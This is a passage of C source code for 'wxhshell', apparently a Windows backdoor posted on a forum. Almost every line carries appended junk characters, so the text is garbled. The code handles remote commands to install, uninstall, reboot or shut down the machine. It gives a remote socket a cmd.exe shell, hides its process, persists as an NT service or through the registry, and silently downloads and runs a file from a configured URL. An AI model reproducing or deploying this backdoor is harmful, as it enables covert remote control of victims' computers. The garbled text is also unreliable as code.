  Fs3rsig  
  // 帮助 Rt9S  
  case '?': { '|7'dlW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FB>^1B]]  
    break; Sc/\g  
  } D^30R*gV  
  // 安装 ;k=&ZV  
  case 'i': { c{,VU.5/  
    if(Install()) Jqp;8DV}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nn?h;KzB  
    else y!kU0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %`# HGji)  
    break; ]Uu:t  
    } 6/=0RTd  
  // 卸载 b)(rlX  
  case 'r': { d$gT,+|vu  
    if(Uninstall()) # GbfFoE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }|j \QjH  
    else "8#EA<lsS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JnY.]:  
    break; 6]^~yby P  
    } QB"Tlw(  
  // 显示 wxhshell 所在路径 n90DS/Yx  
  case 'p': { xe&w.aBI>  
    char svExeFile[MAX_PATH]; t9\}!{<s  
    strcpy(svExeFile,"\n\r"); N fBH  
      strcat(svExeFile,ExeFile); 2N}UB=J  
        send(wsh,svExeFile,strlen(svExeFile),0); t8?$q})RL  
    break; JGRL&MG4  
    } unB`n'L  
  // 重启 579<[[6~d2  
  case 'b': { '~\\:37+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &*YFK/]  
    if(Boot(REBOOT)) 2e<u/M21>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y7ZYo7avg  
    else { _Oc(K "v  
    closesocket(wsh); _wp_y-"  
    ExitThread(0); :AYhBhitC  
    } &~K4I  
    break; l8~s#:v6X  
    } 8fSY@  
  // 关机 =MjkD)l  
  case 'd': { v1VH&~e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %nV6#pr  
    if(Boot(SHUTDOWN)) 1$#1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8n"L4jb(:  
    else { {bP )Fon  
    closesocket(wsh); 53<.Knw5a  
    ExitThread(0); p&$O}AX|  
    } /_[?i"GW  
    break; w\zNn4B})A  
    } *w OU=1+  
  // 获取shell hCPyCq]  
  case 's': { R KXhD PA  
    CmdShell(wsh); >n"4M~I  
    closesocket(wsh); k~XDwmt;  
    ExitThread(0); ''?iJFR  
    break; ^:u-wr8?{  
  } Qv}TUX4  
  // 退出 $e, N5/O  
  case 'x': { fda)t1u\8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j_{f(.5  
    CloseIt(wsh); qHl>d*IZ  
    break; NA!?.zn  
    } eqSCE6r9x  
  // 离开 qx1+'  
  case 'q': { ufn% sA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N#p%^GH  
    closesocket(wsh); CxD=8X9m  
    WSACleanup(); ^u:bgwP  
    exit(1); _lBHZJ+  
    break; hlBMRx49  
        } }Y!v"DO#Q*  
  } | r,{#EE  
  } D%*Ryg  
< #zd]t  
  // 提示信息 u10;qYfL8o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VVw5)O1'  
} !<vy!pXg  
  } /d*[za'0  
p5aqlYb6r  
  return; $U4[a:  
} 6&;h+;h  
*| as-!${k  
// shell模块句柄 <8ih >s(C  
int CmdShell(SOCKET sock) U'LPaf$O  
{ :{s0tw>Z  
STARTUPINFO si; [4r<WvUaM  
ZeroMemory(&si,sizeof(si)); sV;q(,oru  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GmH`ipi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zd}12HFq  
PROCESS_INFORMATION ProcessInfo; &EhOSu  
char cmdline[]="cmd"; $/crb8-C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e^k)756  
  return 0; |pZ:5ta#  
} ny}_^3  
:7?n)=Tx  
// 自身启动模式 H5(: 1  
int StartFromService(void) ](^FGz  
{ &S39SV  
typedef struct I23"DBR3  
{ ~(`&hYE  
  DWORD ExitStatus; NQcNY=  
  DWORD PebBaseAddress; aMJJ|iiU  
  DWORD AffinityMask; vDIsawbHD  
  DWORD BasePriority; QIfP%,LT  
  ULONG UniqueProcessId; 88VI _<  
  ULONG InheritedFromUniqueProcessId; /*(&Dmt>  
}   PROCESS_BASIC_INFORMATION; D67z6jep(  
Md&K#)9,(  
PROCNTQSIP NtQueryInformationProcess; Dxe]LES\]  
|$C fm}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1}~ZsrF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oDWNOw  
3X#Cep20a  
  HANDLE             hProcess; >FS}{O2c  
  PROCESS_BASIC_INFORMATION pbi; n-{.7  
P8[k1"c!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !p Q*m`Xo  
  if(NULL == hInst ) return 0; 9&zQ 5L>  
sJMpF8   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wf~PP;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VAp 1{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j_.tg7X  
R5xV_;wD  
  if (!NtQueryInformationProcess) return 0; CIVV"p`}  
oA8A @,-L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +LlAGg]Z  
  if(!hProcess) return 0; p) ?6~\F:  
Js(MzL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )"]( ?V  
8Vy/n^3)  
  CloseHandle(hProcess); J&bMox  
F_&H*kL L3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )d>Dcne  
if(hProcess==NULL) return 0; ,ZVhL* "  
dM-~Qo  
HMODULE hMod; U,lO{J[T  
char procName[255]; +1r><do;  
unsigned long cbNeeded; TAq[g|N-;  
g>g*1oS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2Z?l,M~  
$&Z<4:Flc  
  CloseHandle(hProcess); $wbIe"|  
y,K> Wb9e  
if(strstr(procName,"services")) return 1; // 以服务启动 gYloY=.Z$'  
gX| \O']6  
  return 0; // 注册表启动 /]of @  
} ^a$L9p(  
8tO.o\)h  
// 主模块 a`zHx3Yg  
int StartWxhshell(LPSTR lpCmdLine) %r&36d'  
{ 39d$B'"<1  
  SOCKET wsl; DPCQqV|7  
BOOL val=TRUE; iba8G]2  
  int port=0; 4y!GFhMh  
  struct sockaddr_in door; rxj#  
`XM0Mm%  
  if(wscfg.ws_autoins) Install(); cYBjsN(!A|  
6!8uZ>u%Vg  
port=atoi(lpCmdLine); )@<HG$#  
{Es1bO  
if(port<=0) port=wscfg.ws_port; >U(E \`9D  
! %B-y 9\  
  WSADATA data; oi8M6l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ge1U1o  
(hh^?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AmQsay#I_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P<;Puww/  
  door.sin_family = AF_INET; EKS?3z%!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -J0OtrZ  
  door.sin_port = htons(port); B5+$ VQ  
9i D&y)$"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v^;vH$B  
closesocket(wsl); ..w$p-1  
return 1; " t?44[  
} D={$l'y9p  
],vid1E  
  if(listen(wsl,2) == INVALID_SOCKET) { $ab{GxmX'4  
closesocket(wsl); c7R&/JV  
return 1; c=^69>w  
} BU7QK_zT:  
  Wxhshell(wsl); h)aLq  
  WSACleanup(); k=G c#SD5_  
nU0##  
return 0; @H^\PH?pp  
x=X&b%09  
} r?dkE=B  
bR$5G  
// 以NT服务方式启动 J% ZM V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F5OQM?J  
{ 0_,un^  
DWORD   status = 0; {bG.X?b  
  DWORD   specificError = 0xfffffff; xk3)#*  
qQ1D}c@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EfkBo5@Qi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M:L-j{?y_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v- p8~u1N  
  serviceStatus.dwWin32ExitCode     = 0; >FJK$>[1:p  
  serviceStatus.dwServiceSpecificExitCode = 0; Z_7TD)  
  serviceStatus.dwCheckPoint       = 0; B*P;*re  
  serviceStatus.dwWaitHint       = 0; :XTxrYt28  
&Aym@G|k?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [E"3 ?p  
  if (hServiceStatusHandle==0) return; nFe  
yo$A0Ti!w  
status = GetLastError(); -y[y.#o  
  if (status!=NO_ERROR) "{3MXAFe  
{ ;Wsl 'e/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]\]mwvLT  
    serviceStatus.dwCheckPoint       = 0; ymT]ow6C  
    serviceStatus.dwWaitHint       = 0; prB:E[1  
    serviceStatus.dwWin32ExitCode     = status; 8#4Gs Q"  
    serviceStatus.dwServiceSpecificExitCode = specificError; y)TBg8Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bo1 t}#7  
    return; ,dF Y]  
  } 2vddx<&  
dj}P|v/;z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )Y"t$Iw"  
  serviceStatus.dwCheckPoint       = 0; `6LV XDR  
  serviceStatus.dwWaitHint       = 0; 3$BO=hI/-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4VkJtu5  
} l E* .9T  
Ih;D-^RQ  
// 处理NT服务事件,比如:启动、停止 KXUJ*l-5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ju4wU; Nu  
{ {UF|-VaG  
switch(fdwControl) O* )BJOPa  
{ Zm(}~C29  
case SERVICE_CONTROL_STOP: Uo[`AzD3  
  serviceStatus.dwWin32ExitCode = 0; ]iZ-MG)J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;<%d^   
  serviceStatus.dwCheckPoint   = 0; PWyFys  
  serviceStatus.dwWaitHint     = 0; +eop4 |Z  
  { y+ izC+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A2Iqn5  
  } g91xUG  
  return; w(ic$  
case SERVICE_CONTROL_PAUSE: w;J#+ik  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yA`,ns&n  
  break; :K(+ KN(  
case SERVICE_CONTROL_CONTINUE: RER93:(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %WYveY  
  break; A-eCc#I  
case SERVICE_CONTROL_INTERROGATE: =,&{ &m)  
  break; e'=#G$S?g  
}; `qZ@eGZ z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rn{X+b.  
} B0gs<E  
$c LZ,N24  
// 标准应用程序主函数 6^FUuj.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Lo" s12fr  
{ .e}`n)z  
6c}nP[6|  
// 获取操作系统版本 SL<EZn0F9  
OsIsNt=GetOsVer(); .tK]-f2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SK_N|X].  
0,iG9D 7  
  // 从命令行安装 ? :F Jc[J  
  if(strpbrk(lpCmdLine,"iI")) Install(); Kn2W{*wD  
;:bnLSPo  
  // 下载执行文件 $us7fuKE  
if(wscfg.ws_downexe) { lH"VLO2l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1W9uWkk_d  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9FF  
} ^a#W|-:  
4hn' b[  
if(!OsIsNt) { RVpo,;:  
// 如果时win9x,隐藏进程并且设置为注册表启动 gpCWXz')i  
HideProc(); j'UW gwB  
StartWxhshell(lpCmdLine); 7qdB   
} }c#W"y5l_  
else "2T* w~V&y  
  if(StartFromService()) 0 Gq<APtr  
  // 以服务方式启动 &*~_ "WyU  
  StartServiceCtrlDispatcher(DispatchTable); ^n\g,  
else #Q|ACNpYM  
  // 普通方式启动 )=0@4   
  StartWxhshell(lpCmdLine); VxU{ZD~<Z"  
,~NJ}4wP  
return 0; .;&4'ga4  
}
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只看该作者 1 发表于: 2006-10-10
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